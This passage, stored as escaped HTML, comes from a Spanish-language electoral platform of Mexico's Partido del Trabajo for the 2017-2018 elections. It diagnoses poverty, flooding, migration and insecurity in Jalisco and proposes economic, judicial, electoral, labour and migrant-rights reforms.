y\u00a0frustraci\u00f3n.<\/p>\n<p>En la mayor\u00eda de los casos, estos sectores aislados se encuentran en situaciones de pobreza, bajos niveles educativos y marginaci\u00f3n, sin capacidades de autogesti\u00f3n.<\/p>\n<p>\u00a0Los problemas de accesibilidad pueden aliviarse mediante programas de pavimentaci\u00f3n y el dise\u00f1o de redes viales y para el transporte p\u00fablico. En este sentido es importante la definici\u00f3n de las calles que se requiere mejorar prioritariamente, as\u00ed como la gesti\u00f3n para lograr una conexi\u00f3n adecuada con la trama urbana m\u00e1s pr\u00f3xima.<\/p>\n<p>La distribuci\u00f3n es desigual en el \u00e1mbito metropolitano, del equipamiento deportivo y recreativo.<\/p>\n<p>Otro ejemplo muy conocido por los tapat\u00edos lo presenta el sector de \u2015las segundas, con la venta de partes robadas. Muy frecuentemente los propietarios de los veh\u00edculos afectados acuden a comprar las partes que fueron sustra\u00eddas de sus autom\u00f3viles.<\/p>\n<p><strong>L<\/strong>a poblaci\u00f3n de la zona metropolitana sigue padeciendo de pobreza alimentaria (insuficiencia del ingreso disponible para adquirir el valor de la canasta alimentaria y adem\u00e1s efectuar los gastos necesarios en salud y educaci\u00f3n, aun dedicando el ingreso total de los hogares s\u00f3lo a estos fines)\u00a0 y pobreza patrimonial\u00a0 (insuficiencia del ingreso disponible para adquirir la canasta alimentaria, los gastos necesarios en salud y educaci\u00f3n, adem\u00e1s de satisfacer las necesidades de vestido, vivienda, transporte, aun cuando la totalidad del ingreso del hogar fuera utilizado exclusivamente para la adquisici\u00f3n de estos bienes y servicios), los municipios con niveles de marginaci\u00f3n m\u00e1s acentuados. Los habitantes con mayor porcentaje de servicios de\u00a0salud viven en Zapopan, mientras que en Tonal\u00e1, cerca de la mitad de los habitantes se encuentran sin posibilidades de acudir al IMSS, ISSSTE o Pensiones Civiles del Estado.<\/p>\n<p>Existen riesgos ligados a la infraestructura deficiente en materia pluvial, los relacionados con las inundaciones que cada a\u00f1o tienen lugar en la zona metropolitana y afectan el\u00a0patrimonio de numerosas familias y vidas humanas. El SIAPA, Sistema Intermunicipal para los Servicios de Agua Potable y Alcantarillado, tiene ubicados 73 puntos de inundaci\u00f3n dentro de la mancha urbana, sin tomar en cuenta micro-zonas susceptibles a deslaves\u00a0y escurrimientos ocupados por\u00a0asentamientos humanos.<\/p>\n<p>El Estado de Jalisco ha generado arquetipos en torno al tema de la migraci\u00f3n, como son:<\/p>\n<p>Asentamientos de la poblaci\u00f3n dentro de una regi\u00f3n, los niveles socioecon\u00f3micos de estas poblaciones, flujos de mercanc\u00edas y servicios entre ellos, creciente dependencia generada en torno a la migraci\u00f3n temporal hacia el pa\u00eds del norte como fuente \u00fanica de ingresos, los cuales no han sido capaces de crear nuevas formas de ingresos, diferencia social en la concentraci\u00f3n de la riqueza entre algunas familias y el impacto que pueda tener en la calidad de vida, va a depender del grado de urbanizaci\u00f3n de las comunidades.<\/p>\n<p>En el caso de la agricultura, los efectos han variado; en primera instancia, las estrategias de cultivo han cambiado a favor de la eliminaci\u00f3n de algunos procesos que han llevado a una p\u00e9rdida de eficiencia en \u00e9sta actividad; en segundo lugar, en algunos casos se ha sustituido la mano de obra por maquinaria, con consecuencias en la reestructuraci\u00f3n de la actividad; y por \u00faltimo, el tipo de cultivos que se sigue sembrando no inhibe la migraci\u00f3n, empero, puede existir una relaci\u00f3n directa entre hect\u00e1reas cultivadas y una pol\u00edtica de puertas cerradas a la inmigraci\u00f3n en Estados Unidos.<\/p>\n<p>La pol\u00edtica anti inmigratoria del actual gobierno de los Estados Unidos puede generar un efecto negativo en nuestro estado, puesto que el potencial migratorio en el medio rural de Jalisco y el occidente de M\u00e9xico, se reflej\u00e1 en que el potencial m\u00e1s joven es el que emigra, y es as\u00ed como el \u00edndice reproductivo de la poblaci\u00f3n que permanece se reduce; existiendo una gran disminuci\u00f3n de la tasa de fecundidad a partir de la aplicaci\u00f3n de programas de planificaci\u00f3n familiar.<\/p>\n<p>Se suma la problem\u00e1tica social del estado de Jalisco, el aumento en la inseguridad, particularmente en caso de feminicidos o conocidos como consecuencia de la violencia de G\u00e9nero, debemos darles seguridad a nuestras mujeres, por ello \u00a1Ni una m\u00e1s!<\/p>\n<p>Con base en lo que se ha expuesto anteriormente, el Partido del Trabajo est\u00e1 listo para enfrentar el presente Proceso Electoral Federal y Local 2017-2018. Convocamos a todos los actores sociales, econ\u00f3micos, partidistas y gubernamentales a construir, acordar y respetar la aplicaci\u00f3n de un Nuevo Pacto Social, <strong>un Proyecto Alternativo de Naci\u00f3n, para la reorientaci\u00f3n de Jalisco y de \u00a0M\u00e9xico.<\/strong><\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Econom\u00eda:<\/strong><\/p>\n<ul>\n<li>Sustituir el actual modelo econ\u00f3mico neoliberal por un nuevo modelo para el crecimiento econ\u00f3mico sustentable y el desarrollo nacional incluyente, con una distribuci\u00f3n m\u00e1s igualitaria de la riqueza.<\/li>\n<li>Incremento progresivo y significativo del salario real, para incrementar la demanda efectiva y ampliar el mercado interno, lo que se traducir\u00e1 en aumentos en la inversi\u00f3n privada y la generaci\u00f3n de muchos m\u00e1s empleos.<\/li>\n<li>Defensa de la exclusividad de PEMEX sobre la exploraci\u00f3n, la explotaci\u00f3n, refinaci\u00f3n y venta de los hidrocarburos. Los ingresos y ganancias que se obtienen por la extracci\u00f3n del petr\u00f3leo pertenecen al pueblo de M\u00e9xico, y no deben ser compartidos con el capital privado extranjero. Deben ser utilizados como palanca fundamental para el desarrollo econ\u00f3mico y social de la Naci\u00f3n.<\/li>\n<li>Aplicaci\u00f3n de pol\u00edticas monetaria, crediticia, fiscal, comercial y cambiaria indispensables para reactivar la econom\u00eda, incrementar el empleo productivo bien remunerado, erradicar la pobreza y las grandes desigualdades productivas, sectoriales y regionales.<\/li>\n<li>Dejar de favorecer aquellos sectores nacionales y extranjeros que han lucrado y se han enriquecido a costa de la descapitalizaci\u00f3n de la esfera productiva y del deterioro del nivel de vida de la mayor\u00eda de los mexicanos.<\/li>\n<li>Restablecer la rector\u00eda econ\u00f3mica del Estado para garantizar el desarrollo nacional y el bienestar social.<\/li>\n<li>Recuperar el control estatal de sectores estrat\u00e9gicos y de la infraestructura b\u00e1sica, y asegurar su desarrollo.<\/li>\n<li>Recuperar la soberan\u00eda alimentaria y energ\u00e9tica.<\/li>\n<li>Colocar al mercado interno como motor del crecimiento sustentado en la producci\u00f3n de bienes de consumo generalizado, con altos efectos multiplicadores internos.<\/li>\n<li>Retomar la pol\u00edtica industrial para reconstruir y desarrollar las cadenas productivas.<\/li>\n<li>Capitalizar y desarrollar el agro mexicano.<\/li>\n<li>Generar y mantener una pol\u00edtica fiscal antic\u00edclica. Incrementar el gasto p\u00fablico para defender la econom\u00eda popular, resguardar el aparato productivo y estimular la econom\u00eda nacional en esta etapa de crisis mundial.<\/li>\n<\/ul>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Seguridad y Justicia:<\/strong><\/p>\n<ul>\n<li>Revisi\u00f3n exhaustiva de los ordenamientos legales que regulan las actividades del gobierno y los servidores p\u00fablicos en el combate a la delincuencia, particularmente en estos aspectos:<\/li>\n<\/ul>\n<ol>\n<li>Prevenci\u00f3n de la Delincuencia<\/li>\n<li>Procuraci\u00f3n de Justicia en las fases de averiguaci\u00f3n previa y proceso penal<\/li>\n<li>Actuaci\u00f3n de los \u00f3rganos jurisdiccionales<\/li>\n<\/ol>\n<ul>\n<li>Generar e instrumentar pol\u00edticas p\u00fablicas encaminadas a la prevenci\u00f3n del delito y al desarrollo de una cultura de respeto a los Derechos Humanos.<\/li>\n<li>Combate absoluto y efectivo a la corrupci\u00f3n y la impunidad en todo el conjunto de la vida, y especialmente en la procuraci\u00f3n y administraci\u00f3n de justicia.<\/li>\n<li>Ampliar, profundizar y fortalecer la participaci\u00f3n de la ciudadan\u00eda en cuanto a la seguridad p\u00fablica y la procuraci\u00f3n y administraci\u00f3n de justicia.<\/li>\n<\/ul>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Plano Social:<\/strong><\/p>\n<ul>\n<li>Combate a la pobreza y a la desigualdad social.<\/li>\n<li>Garantizar el pleno ejercicio y respeto de los derechos humanos.<\/li>\n<li>Ampliar, mejorar y fortalecer las pol\u00edticas e instituciones de atenci\u00f3n a las y los j\u00f3venes, desde una perspectiva integral y transversal, incluido el desarrollo de su participaci\u00f3n pol\u00edtica.<\/li>\n<li>Garantizar los derechos universales de las ni\u00f1as y los ni\u00f1os y promover su desarrollo humano e integral, comenzando con la nutrici\u00f3n y la educaci\u00f3n inicial.<\/li>\n<li>Ampliar y fortalecer la participaci\u00f3n de las mujeres en la toma de decisiones en la familia, el trabajo, las organizaciones sociales y el gobierno.<\/li>\n<li>Erradicar cualquier forma de discriminaci\u00f3n y violencia contra la<\/li>\n<li>Garantizar el pleno ejercicio del derecho constitucional a la salud de todas las y los mexicanos, en todos sus aspectos: preventiva, reproductiva, curativa, mental, etc.<\/li>\n<li>Ampliar, mejorar y fortalecer la educaci\u00f3n p\u00fablica y su car\u00e1cter laico, gratuito, creativo y de calidad, con una cobertura del 100% en todos sus niveles.<\/li>\n<\/ul>\n<ul>\n<li>Con respecto a la problem\u00e1tica generada por los sismos, e vuelve imprescindible y urgente para las fuerzas democr\u00e1ticas y de izquierdas vincularse los m\u00e1s amplia y estrechamente posible a la ciudadan\u00eda y al pueblo en su conjunto, y hacerle sentir a todas las y los mexicanos la certidumbre de que saldremos adelante de esta etapa de pesar y adversidad. Impulsar la organizaci\u00f3n de toda la poblaci\u00f3n damnificada y la solidaridad para las tareas de mediano y largo plazo: la reconstrucci\u00f3n de las viviendas, empresas, comercios y dem\u00e1s inmuebles afectados, la reactivaci\u00f3n de las actividades econ\u00f3micas, la generaci\u00f3n de empleos, etc.\u00a0 Es indispensable que toda la poblaci\u00f3n afectada por los sismos se asuma como damnificada de un desastre natural de dimensiones macrosociales, y no s\u00f3lo individuos o familias que perdieron familiares y patrimonio.<\/li>\n<li>El objetivo fundamental es promover la creaci\u00f3n de una <strong>Coordinadora General Estatal de Damnificados<\/strong> en cada entidad afectada por alg\u00fan desatre natural. Cada Coordinadora General Estatal estar\u00eda integrada por representantes de las zonas da\u00f1adas en cada entidad. Este lineamiento de acci\u00f3n sociopol\u00edtica ser\u00e1 la garant\u00eda para que, a trav\u00e9s de la lucha organizada, las demandas de toda la poblaci\u00f3n afectada, de todos los damnificados, ser\u00e1n verdaderamente atendidas por las autoridades de los tres niveles de gobierno.<\/li>\n<\/ul>\n<p><strong>\u00c1mbito Pol\u00edtico e Institucional:<\/strong><\/p>\n<ul>\n<li>Democratizar el actual sistema pol\u00edtico e institucional.<\/li>\n<li>Erradicar las principales y persistentes pr\u00e1cticas del viejo r\u00e9gimen autoritario y represivo: el presidencialismo metaconstitucional, el corporativismo gremial, el r\u00e9gimen de partidos de Estado, y la corrupci\u00f3n e impunidad generalizadas en los tres Poderes y los tres niveles de gobierno.<\/li>\n<li>Crear una nueva relaci\u00f3n entre gobernantes y gobernados, as\u00ed como entre Federaci\u00f3n, Estados y Municipios.<\/li>\n<li>Una reforma pol\u00edtica democr\u00e1tica que ampl\u00ede y fortalezca la participaci\u00f3n y el desarrollo de la ciudadana en todos los \u00e1mbitos de la vida p\u00fablica. Que incluya los procedimientos e instrumentos de democracia participativa o directa.<\/li>\n<li>Una nueva reforma laboral que restituya las conquistas y derechos ganados por los trabajadores.<\/li>\n<li>Limitar en t\u00e9rminos reales el poder presidencial, descentralizar sus funciones y someter su actuaci\u00f3n al control de los otros poderes, de la opini\u00f3n p\u00fablica y de la participaci\u00f3n popular.<\/li>\n<li>Hacer efectiva la divisi\u00f3n e independencia entre los Poderes Ejecutivo, Legislativo y Judicial.<\/li>\n<li>Construir un Federalismo efectivo, que incluya la redistribuci\u00f3n de las atribuciones tributarias y la descentralizaci\u00f3n de los programas de combate a la pobreza y asistencia al campo.<\/li>\n<li>Reforma del sistema electoral para hacerlo realmente equitativo y trasparente.<\/li>\n<\/ul>\n<h2>\u00a0<\/h2>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tII.\t\u00c1mbito pol\u00edtico e institucional\t\t\t\t\t<\/p>\n<p>Una de las prioridades del Partido del Trabajo radica en la democratizaci\u00f3n del actual sistema pol\u00edtico e institucional. Luchamos por erradicar sus principales lastres y vicios: la corrupci\u00f3n y la impunidad, el presidencialismo autoritario y represivo, el corporativismo social, el r\u00e9gimen de partido de Estado, la simulaci\u00f3n de la divisi\u00f3n de poderes en los tres niveles de gobierno, la subordinaci\u00f3n de los organismos \u201caut\u00f3nomos\u201d al Ejecutivo y los cacicazgos pol\u00edticos y gremiales. La democratizaci\u00f3n de M\u00e9xico debe abarcar la estructura y funcionamiento del Estado, de la sociedad civil y las relaciones entre ambos. Lograr una nueva relaci\u00f3n entre gobernantes y gobernados, as\u00ed como entre Federaci\u00f3n, Estados y Municipios, y el manejo de la pol\u00edtica exterior, requiere llevar a cabo cambios constitucionales, legales, administrativos, sociales y de estilos de gobernar y de hacer pol\u00edtica. Para alcanzar estos objetivos el Partido del Trabajo se propone llevar a cabo las siguientes acciones:<\/p>\n<p><strong>1.\u00a0\u00a0 Reforma democr\u00e1tica<\/strong><\/p>\n<p>Impulsamos una profunda reforma democr\u00e1tica del Estado, sobre todo en cuanto a: combate a la corrupci\u00f3n y la impunidad, seguridad p\u00fablica y justicia, divisi\u00f3n y equilibrio entre los Poderes del Estado, fortalecimiento del Poder Legislativo, nuevo y efectivo federalismo, planeaci\u00f3n democr\u00e1tica para el desarrollo, derechos ind\u00edgenas y regiones \u00e9tnicas, medios de comunicaci\u00f3n y nueva relaci\u00f3n del gobierno con la sociedad.<\/p>\n<p>Esta reforma democr\u00e1tica se debe traducir en: a) el desarrollo, fortalecimiento y mayor participaci\u00f3n de la ciudadan\u00eda en los asuntos p\u00fablicos; b) la delegaci\u00f3n de funciones administrativas y de gesti\u00f3n en \u00f3rganos representativos de la comunidad organizada; c) un nuevo estilo de gobierno que establezca pr\u00e1cticas transparentes, sencillas y austeras en el ejercicio del poder; y d) la limitaci\u00f3n del poder presidencial y el sometimiento de su actuaci\u00f3n al control de los otros poderes, de la opini\u00f3n p\u00fablica y de la participaci\u00f3n popular.<\/p>\n<p>La reforma pol\u00edtica que proponemos incorporar\u00e1 a nuestra Carta Magna y a las leyes que de ella emanan mecanismos de democracia participativa, entre ellos: plebiscito, refer\u00e9ndum, iniciativa popular, revocaci\u00f3n de mandato, voz ciudadana en el cabildo, afirmativa ficta, rendici\u00f3n de cuentas, presupuesto\u00a0 participativo, afirmativa ficta parlamentaria, contralor\u00eda y auditor\u00eda social, gobierno comunitario como cuarto nivel de gobierno, derecho a la audiencia p\u00fablica obligatoria, consulta ciudadana y licitaci\u00f3n abierta de las obras y adquisiciones p\u00fablicas.<\/p>\n<p>Es indispensable llevar a cabo la reforma del Poder Legislativo y su profesionalizaci\u00f3n, con el fin de fortalecerlo y convertirlo en la genuina representaci\u00f3n de los intereses del pueblo. En lo referente al Poder Judicial, se requiere una reforma integral centrada en cuatro ejes: a) verdadera autonom\u00eda del Poder Judicial frente al Poder Ejecutivo; b) impartici\u00f3n de justicia pronta, expedita y democr\u00e1tica; c) plena vigencia y garant\u00eda en el ejercicio de los derechos humanos y sociales; y d) dotar de fuerza legal abrogatoria a la jurisprudencia relativa a las declaratorias de leyes inconstitucionales.<\/p>\n<p>Impulsamos una profunda reforma democr\u00e1tica del Estado, sobre todo en cuanto a: combate a la corrupci\u00f3n y la impunidad, seguridad p\u00fablica y justicia, divisi\u00f3n y equilibrio entre los Poderes del Estado, fortalecimiento del Poder Legislativo, nuevo y efectivo federalismo, planeaci\u00f3n democr\u00e1tica para el desarrollo, derechos ind\u00edgenas y regiones \u00e9tnicas, medios de comunicaci\u00f3n y nueva relaci\u00f3n del gobierno con la sociedad.<\/p>\n<p>Esta reforma democr\u00e1tica se debe traducir en: a) el desarrollo, fortalecimiento y mayor participaci\u00f3n de la ciudadan\u00eda en los asuntos p\u00fablicos; b) la delegaci\u00f3n de funciones administrativas y de gesti\u00f3n en \u00f3rganos representativos de la comunidad organizada; c) un nuevo estilo de gobierno que establezca pr\u00e1cticas transparentes, sencillas y austeras en el ejercicio del poder; y d) la limitaci\u00f3n del poder presidencial y el sometimiento de su actuaci\u00f3n al control de los otros poderes, de la opini\u00f3n p\u00fablica y de la participaci\u00f3n popular.<\/p>\n<p>La reforma pol\u00edtica que proponemos incorporar\u00e1 a nuestra Carta Magna y a las leyes que de ella emanan mecanismos de democracia participativa, entre ellos: plebiscito, refer\u00e9ndum, iniciativa popular, revocaci\u00f3n de mandato, voz ciudadana en el cabildo, afirmativa ficta, rendici\u00f3n de cuentas, presupuesto\u00a0 participativo, afirmativa ficta parlamentaria, contralor\u00eda y auditor\u00eda social, gobierno comunitario como cuarto nivel de gobierno, derecho a la audiencia p\u00fablica obligatoria, consulta ciudadana y licitaci\u00f3n abierta de las obras y adquisiciones p\u00fablicas.<\/p>\n<p>Es indispensable llevar a cabo la reforma del Poder Legislativo y su profesionalizaci\u00f3n, con el fin de fortalecerlo y convertirlo en la genuina representaci\u00f3n de los intereses del pueblo. En lo referente al Poder Judicial, se requiere una reforma integral centrada en cuatro ejes: a) verdadera autonom\u00eda del Poder Judicial frente al Poder Ejecutivo; b) impartici\u00f3n de justicia pronta, expedita y democr\u00e1tica; c) plena vigencia y garant\u00eda en el ejercicio de los derechos humanos y sociales; y d) dotar de fuerza legal abrogatoria a la jurisprudencia relativa a las declaratorias de leyes inconstitucionales.<\/p>\n<p><strong>2.\u00a0\u00a0 Reformas al r\u00e9gimen de las instituciones sociales y civiles<\/strong><\/p>\n<p>La propuesta del Partido del Trabajo extiende la reforma democr\u00e1tica al plano social y las instituciones civiles, para que se eliminen los cacicazgos de todo tipo, el charrismo sindical, las estructuras y pr\u00e1cticas patriarcales, el clientelismo electoral y el exceso de formas y relaciones burocr\u00e1ticas, todo lo cual inhibe y limita el buen funcionamiento de la vida social. La reforma democr\u00e1tica que impulsamos debe abarcar a los sindicatos y dem\u00e1s organizaciones gremiales y profesionales, los ejidos y comunidades agrarias, las asociaciones civiles y deportivas, e incluso -respetando su autonom\u00eda- a las propias universidades, y desde luego a la familia en tanto que c\u00e9lula b\u00e1sica de la sociedad. Para llevar a cabo lo anterior, promoveremos un conjunto de modificaciones a los ordenamientos constitucionales y legales correspondientes.<\/p>\n<p>En la actualidad, la informaci\u00f3n es fundamental para el quehacer pol\u00edtico, econ\u00f3mico, social y cultural. Quien la tiene y controla puede ejercer un dominio inmenso sobre la sociedad. En nuestro pa\u00eds, son el Estado y los grandes monopolios privados los que ejercen este control. El Partido del Trabajo considera que debe garantizarse de manera irrestricta los derechos humanos a la informaci\u00f3n y a la libre expresi\u00f3n de las ideas por todos los medios de comunicaci\u00f3n. Es indispensable para la construcci\u00f3n y el fortalecimiento de la democracia, que en los medios masivos de informaci\u00f3n y comunicaci\u00f3n se abran espacios equitativos a todas las opiniones e ideas. Tambi\u00e9n reivindicamos el derecho de las organizaciones sociales, laborales, educativas, pol\u00edticas, etc., cuenten con sus propios medios de informaci\u00f3n y comunicaci\u00f3n masiva.<\/p>\n<p><strong>3.\u00a0\u00a0 Federalismo efectivo y participativo<\/strong><\/p>\n<p>A este respecto emprenderemos las siguientes acciones tendientes a establecer una nueva relaci\u00f3n entre Federaci\u00f3n, Estados y Municipios:<\/p>\n<ul>\n<li>Descentralizaci\u00f3n hacia las entidades federativas y los municipios de la mayor parte de las funciones pol\u00edticas, administrativas y los servicios p\u00fablicos realizados innecesariamente por el gobierno federal.\u00a0<\/li>\n<li>Redistribuci\u00f3n de los ingresos fiscales entre los tres niveles de gobierno, de modo que se dupliquen y cuadrupliquen, respectivamente, los montos asignados actualmente a las entidades y los municipios.<\/li>\n<li>Distribuci\u00f3n equitativa de la capacidad recaudatoria y del ejercicio directo de los recursos captados, a efecto de hacer econ\u00f3micamente efectivo el federalismo, sin romper la armon\u00eda y coordinaci\u00f3n entre los tres niveles de gobierno.<\/li>\n<li>Descentralizaci\u00f3n total de los programas de combate a la pobreza y asistencia al campo, estableciendo criterios de manejo transparente de los recursos, para dejarlos en manos de instancias estatales y municipales con la participaci\u00f3n de las organizaciones sociales.<\/li>\n<li>Modificaci\u00f3n de los criterios de la Ley de Planeaci\u00f3n para que todos los actores participantes de la planeaci\u00f3n intervengan en la supervisi\u00f3n y control de los planes y programas gubernamentales.<\/li>\n<li>Generaci\u00f3n de mecanismos legislativos federales como contrapeso a los Ejecutivos locales, que pretenden restaurar feudos y hacer uso discrecional de los recursos p\u00fablicos.<\/li>\n<\/ul>\n<p><strong>4.\u00a0\u00a0 Reforma a la administraci\u00f3n p\u00fablica<\/strong><\/p>\n<p>Entre los objetivos fundamentales que persigue el Partido del Trabajo est\u00e1 lograr que los llamados servidores p\u00fablicos sean realmente eso, y que act\u00faen coadyuvando al desarrollo de la reforma democr\u00e1tica en lugar de entorpecerla. Para alcanzar lo anterior proponemos llevar a cabo las siguientes acciones:<\/p>\n<ul>\n<li>Reducir al m\u00ednimo suficiente los aparatos burocr\u00e1ticos de administraci\u00f3n e intermediaci\u00f3n, convirti\u00e9ndolos en cuerpos profesionales, apartidistas y austeros, dignamente remunerados y controlados institucionalmente por la sociedad.<\/li>\n<li>Vigilar que los funcionarios p\u00fablicos de todos los Poderes y niveles se apeguen estrictamente al cumplimiento de la Ley.<\/li>\n<li>Combate directo y permanente a la corrupci\u00f3n y a los abusos de las autoridades sobre los ciudadanos y las organizaciones sociales.<\/li>\n<li>Eliminaci\u00f3n del secreto burocr\u00e1tico y de las partidas de gastos excluidas del control parlamentario y social, para hacer transparente el funcionamiento de la administraci\u00f3n p\u00fablica.<\/li>\n<li>Establecer y hacer efectivo el servicio civil de carrera en toda la administraci\u00f3n p\u00fablica.<\/li>\n<\/ul>\n<p><strong>5.\u00a0\u00a0 Nueva reforma pol\u00edtico-electoral<\/strong><\/p>\n<p>La reforma electoral aprobada por el Congreso de la Uni\u00f3n en febrero de 2014 y las leyes secundarias de la misma aprobadas en mayo del mismo a\u00f1o, genera y mantiene condiciones de inequidad en los procesos electorales y deja fuera derechos ciudadanos y figuras electorales fundamentales. Representa un grave retroceso de m\u00e1s de 30 a\u00f1os, con un sistema pol\u00edtico integrado por un partido de Estado, una oposici\u00f3n de derecha \u201cleal\u201d y una oposici\u00f3n de izquierdas meramente <em>testimonial<\/em>. Por ello, el Partido del Trabajo propone una nueva reforma electoral destinada a establecer una democracia representativa, participativa y transparente, a garantizar la libre asociaci\u00f3n ciudadana sin cortapisas y una mayor participaci\u00f3n pol\u00edtica de la sociedad civil. Para conseguir este fin impulsamos los siguientes cambios:<\/p>\n<ul>\n<li>Modificar las leyes electorales para establecer proporciones equitativas de participaci\u00f3n de los pueblos ind\u00edgenas y de las y los j\u00f3venes, conforme al perfil sociodemogr\u00e1fico de nuestra sociedad, a nivel nacional, de cada entidad y de cada municipio.<\/li>\n<li>Constituir un sistema de competencia igualitario para todos los partidos en cuanto a recursos financieros y asignaci\u00f3n de tiempos en los medios de comunicaci\u00f3n electr\u00f3nicos.<\/li>\n<li>Adoptar disposiciones legales para sancionar y erradicar las campa\u00f1as facciosas de los medios de comunicaci\u00f3n, que hacen eco de los grupos de inter\u00e9s econ\u00f3mico para denostar a alg\u00fan partido o candidato.<\/li>\n<li>Establecer y aplicar mecanismos claros, transparentes y expeditos sobre el ejercicio del financiamiento p\u00fablico o privado para evitar que el origen sea ilegal.<\/li>\n<li>Simplificar los mecanismos de constituci\u00f3n e inscripci\u00f3n de partidos pol\u00edticos.<\/li>\n<li>Establecer el derecho a la libre coalici\u00f3n entre organizaciones con y sin registro.<\/li>\n<li>Disponer que todo delito electoral sea castigado con c\u00e1rcel sin derecho a libertad bajo fianza.<\/li>\n<\/ul>\n<p><strong>6.\u00a0\u00a0 Nueva reforma laboral<\/strong><\/p>\n<p>Promovemos y luchamos para hacer realidad el equilibrio arm\u00f3nico y equitativo entre los distintos factores de la producci\u00f3n. Trabajamos d\u00eda a d\u00eda para que el Gobierno Federal cumpla y satisfaga las demandas sociales. Como parte inherente al proceso de globalizaci\u00f3n, el desarrollo econ\u00f3mico y el avance tecnol\u00f3gico a nivel internacional han determinado en gran medida el curso de las relaciones obrero-patronales. Sin embargo, cada pa\u00eds, dependiendo del nivel alcanzado en estos campos, debe proveer las condiciones laborales a favor de los trabajadores, con la finalidad de equilibrar las relaciones entre el trabajo y el capital. Esto no est\u00e1 ocurriendo en M\u00e9xico. Por ello, proponemos una nueva y necesaria reforma laboral conforme a las siguientes l\u00edneas de acci\u00f3n:<\/p>\n<ul>\n<li>Una nueva reforma laboral que restituya las conquistas y derechos ganados por los trabajadores, los cuales han quedado restringidos o anulados con la reforma laboral aprobada en 2012.<\/li>\n<li>Construcci\u00f3n de una nueva cultura democr\u00e1tica de relaciones laborales-empresariales.<\/li>\n<li>Adecuaci\u00f3n y fortalecimiento del marco legal en materia de procedimientos laborales para la exacta aplicaci\u00f3n de la ley.<\/li>\n<li>Modernizaci\u00f3n y eficientizaci\u00f3n de las instancias federales y locales encargadas de la impartici\u00f3n de justicia laboral.<\/li>\n<li>Promover y garantizar la libertad, independencia y democracia sindical.<\/li>\n<li>Fortalecimiento de las relaciones laborales con otras naciones.<\/li>\n<\/ul>\n<p>La nueva cultura laboral democr\u00e1tica debe contribuir a erradicar las pr\u00e1cticas autoritarias y corporativas que siempre se han instrumentado sobre los trabajadores. Se debe buscar una nueva relaci\u00f3n entre los factores de la producci\u00f3n que distribuya equitativamente los frutos del trabajo como \u00fanica fuente de riqueza. La nueva cultura laboral debe tomar en cuenta la importancia que tiene el desarrollo social del trabajador, para encontrar los mecanismos suficientes de motivaci\u00f3n, y dotar a la clase trabajadora de sistemas funcionales de capacitaci\u00f3n y adiestramiento.<\/p>\n<p>Por otra parte, el Partido del Trabajo propone que la reforma laboral que se convenga en M\u00e9xico se base en la participaci\u00f3n de todos los sectores involucrados, buscando indeclinablemente que los acuerdos sean por consenso, porque s\u00f3lo por esta v\u00eda se puede procesar un tema que atraviesa a toda la sociedad y que corresponde al prop\u00f3sito de construir un pa\u00eds verdaderamente equitativo, justo y democr\u00e1tico.<\/p>\n<p>Para el Partido del Trabajo lo m\u00e1s importante es el mejoramiento de la calidad de vida de las y los trabajadores, en el presente y el porvenir. Es preciso enfocar nuestros esfuerzos a que la impartici\u00f3n de justicia en materia laboral sea pronta y expedita, que acabe el rezago de juicios laborales que principalmente se dan por dilaci\u00f3n de las autoridades responsables, como ha sido el caso de las Juntas de Conciliaci\u00f3n y Arbitraje. Es necesario democratizar y transparentar las organizaciones sindicales. Debe garantizarse que estas organizaciones cumplan su principal objetivo, que es mejorar las condiciones de trabajo y conseguir el bienestar colectivo de sus agremiados y sus familias.<\/p>\n<p><strong>7.\u00a0\u00a0 Derechos laborales y pol\u00edticos de los migrantes<\/strong><\/p>\n<p>Defensa permanente, irrestricta y eficiente de los derechos de las y los trabajadores migrantes mexicanos en los Estados Unidos. Pero tambi\u00e9n garant\u00eda plena de los derechos de los migrantes centroamericanos que est\u00e1n en tr\u00e1nsito o vienen a nuestro pa\u00eds.<\/p>\n<p>Las y los mexicanos que masivamente salen de su patria, lo han estado haciendo por una raz\u00f3n muy poderosa: la falta de oportunidades de desarrollo y de contar con un empleo digno que les permita solventar sus necesidades y las de sus familias.<\/p>\n<p>Las y los mexicanos que han buscado un mejor nivel de vida fuera de nuestro pa\u00eds se han insertado en la din\u00e1mica econ\u00f3mica, social y pol\u00edtica de los Estados Unidos. Con su trabajo contribuyen a la creaci\u00f3n de riqueza de la naci\u00f3n vecina y, m\u00e1s all\u00e1 de su calidad migratoria, deben tener garantizados sus derechos humanos y contar con la protecci\u00f3n de la ley.<\/p>\n<p>Sin embargo, los derechos laborales de los trabajadores indocumentados son pr\u00e1cticamente inexistentes. Adicionalmente, sufren la persecuci\u00f3n de las autoridades estadounidenses y de grupos antimigrantes que ven en la presencia y el trabajo de los migrantes una supuesta amenaza a sus trabajos, intereses, posibilidades de desarrollo y soberan\u00eda de su pa\u00eds.<\/p>\n<p>El Partido del Trabajo propone que se establezca un acuerdo entre M\u00e9xico y los Estados Unidos, y la legislaci\u00f3n correspondiente, que garantice la integridad f\u00edsica y moral y la defensa y salvaguarda de los derechos laborales, humanos y sociales de las y los trabajadores migrantes. Trabajamos para crear un esquema de seguridad jur\u00eddica equitativo para los millones de mexicanos y latinoamericanos que arriesgan su vida en busca de mejorar su situaci\u00f3n.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tIII.\tEconom\u00eda: la reconstrucci\u00f3n del proyecto de naci\u00f3n\t\t\t\t\t<\/p>\n<p>La inserci\u00f3n de M\u00e9xico en la globalizaci\u00f3n neoliberal se instrument\u00f3 a costa del manejo soberano de la pol\u00edtica econ\u00f3mica. A lo largo de tres y media d\u00e9cadas se nos ha impuesto pol\u00edticas de liberalizaci\u00f3n y desregulaci\u00f3n comercial y financiera, y pol\u00edticas monetarias y fiscales contraccionistas. Hemos perdido soberan\u00eda para determinar el rumbo econ\u00f3mico que m\u00e1s nos conviene como naci\u00f3n, lo que a su vez ha comprometido la democracia en nuestra vida pol\u00edtica. Esto ha profundizado los problemas estructurales del subdesarrollo de nuestro pa\u00eds. Nuestra econom\u00eda se encuentra hoy en una situaci\u00f3n de alta vulnerabilidad en el contexto de la crisis mundial que sigue en curso.<\/p>\n<p>M\u00e9xico ha sido perdedor en los cambios estructurales promovidos por el neoliberalismo desde la d\u00e9cada de los ochenta. La gran mayor\u00eda de los productores industriales y agr\u00edcolas se han visto gravemente afectados por la apertura comercial indiscriminada. Esto ha llevado a millones de mexicanos a emigrar hacia 